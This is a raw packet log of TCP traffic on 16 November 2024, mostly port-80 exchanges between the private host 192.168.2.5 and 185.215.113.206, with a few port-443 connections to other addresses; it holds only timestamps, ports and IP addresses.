Nov 16, 2024 19:22:32.106642962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106657028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106672049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106697083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106825113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106838942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106853962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106868029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106903076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106904030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106933117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106946945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106947899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106971979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106980085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.106991053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.106993914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107007980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107023954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107052088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107291937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107306004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107330084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107338905 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107343912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107362986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107388020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107403994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107415915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107433081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107436895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107450962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107454062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107466936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107467890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107485056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107503891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107564926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107579947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107609987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107625008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107628107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107640028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107640028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107651949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107659101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107666969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107677937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107678890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107692003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107692957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107711077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107714891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107727051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107734919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107754946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107764006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107800007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107814074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107826948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107846975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107858896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107861042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107916117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107948065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.107980013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.107991934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108028889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108031988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108043909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108063936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108076096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108097076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108108997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108123064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108136892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108136892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108150959 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108150959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108172894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108191967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108344078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108359098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108390093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108402967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108403921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108426094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108453989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108460903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108475924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108493090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108514071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108544111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108557940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108566046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108577967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108602047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108611107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108653069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108684063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108688116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108696938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108716965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108733892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108756065 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108771086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108784914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108798027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108804941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108815908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108830929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.108834982 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.108858109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109081030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109133959 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109134912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109149933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109167099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109189034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109214067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109231949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109251022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109308958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109323025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109330893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109338045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109338999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109357119 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109371901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109379053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109386921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109400988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109405041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109416008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109419107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109430075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109436989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109451056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109457970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109474897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109477997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109491110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109497070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109510899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109513998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109528065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109548092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109590054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109602928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109616995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109621048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109631062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109641075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109644890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109658957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109659910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109672070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109679937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109685898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109700918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.109707117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109730005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.109746933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111417055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111438036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111458063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111474037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111475945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111494064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111510038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111512899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111527920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111531973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111560106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111572027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111932039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111951113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111970901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.111987114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.111989975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112009048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112035990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112205982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112225056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112241983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112261057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112261057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112278938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112279892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112299919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112329006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.112957001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.112986088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113001108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113007069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113023996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113037109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113045931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113060951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113095999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113348961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113399029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113415956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113430977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113446951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113473892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113476038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113488913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113509893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113517046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113523960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113539934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113579988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113611937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113626003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113641024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113655090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113660097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113670111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113686085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113691092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113702059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113706112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113712072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113724947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113749027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113750935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113765001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113768101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113780975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113780975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113795042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113802910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113815069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113836050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113854885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113869905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113883972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113898039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.113900900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.113929987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.116148949 CET	49853	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.119575977 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.119606018 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.119673967 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.119688988 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.119721889 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.119770050 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121028900 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.121068001 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.121102095 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121117115 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.121140003 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.121145010 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121174097 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121197939 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121287107 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:32.121308088 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:32.131520033 CET	49854	443	192.168.2.5	204.79.197.219
Nov 16, 2024 19:22:32.149358034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149374008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149389029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149406910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.149435043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.149506092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149519920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149534941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149549961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149549961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.149599075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.149636984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.149676085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.179204941 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.206392050 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.206468105 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:32.236044884 CET	49850	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:32.236062050 CET	443	49850	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:32.257493973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.257514954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.257529974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.257563114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.257600069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.258771896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.258789062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.258797884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.258874893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.258914948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259006977 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259035110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259078026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259489059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259576082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259577036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259627104 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259675026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259712934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259744883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259799957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259800911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259872913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259910107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259932041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259943008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259962082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259963036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259973049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.259989023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259989023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.259996891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260001898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260008097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260018110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260024071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260034084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260051966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260051966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260065079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260075092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260086060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260094881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260104895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260116100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260123014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260123014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260123014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260159016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260168076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260236979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260262012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260272026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260420084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260420084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260597944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260610104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260616064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260653973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.260680914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260704041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260714054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.260719061 CET	49770	80	192.168.2.5	185.215.113.206
